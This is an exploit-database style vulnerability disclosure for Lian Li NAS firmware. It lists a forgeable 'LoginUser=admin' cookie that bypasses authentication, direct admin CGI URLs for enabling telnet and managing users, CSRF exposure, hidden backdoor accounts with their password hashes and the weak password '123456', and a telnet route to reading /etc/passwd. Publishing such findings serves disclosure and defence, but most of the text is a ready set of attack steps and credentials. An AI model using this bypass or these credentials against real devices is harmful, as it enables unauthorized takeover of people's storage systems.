# Exploit Title: Lian Li NAS Multiple vulnerabilities
# Date: 21/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.lian-li.com/en/dt_portfolio_category/nas/
# Firmware Link: https://www.dropbox.com/s/imvkndl8m5yj7qp/G5S604121826700.tar.gz
# Tested on: Latest version
# CVE : None yet
1. Hardcoded cookie to access the admin section
File: /javascript/storlib.js
function get_cookie()
{
var allcookies = document.cookie;
var pos = allcookies.indexOf("LoginUser=admin");
if (pos == -1)
location = "/index.html";
}
2. Authentication bypass
Create such cookie: 'LoginUser=admin' (document.cookie='LoginUser=admin').
Then, access the URL directly to get admin features.
Eg.
http://192.168.1.1/cgi/telnet/telnet.cgi # enable/disable the Telnet server
http://192.168.1.1/cgi/user/user.cgi # manage users (change passwords, add user, ...)

All forms on those cgi pages can be used to perform CSRF attacks (to target internal network for example).
3. Backdoored accounts
Some users are not referenced in the management page but are present in the system.
Moreover, the robustness of such passwords is really poor (password = "123456"):
mysql:$1$$RmyPVMlhpXjJj8iv4w.Ul.:6000:6000:Linux User,,,:/home/mysql:/bin/sh
daemon:$1$$RmyPVMlhpXjJj8iv4w.Ul.:7000:7000:Linux User,,,:/home/daemon:/bin/sh
4. Privilege escalation "scenario"
Enable Telnet server (if disabled)
Connect to it using one of the backdoored accounts and retrieve /etc/passwd file.
It contains passwords for all accounts.
5. Certificate used by the FTP server stored in the firmware
cacert.pem
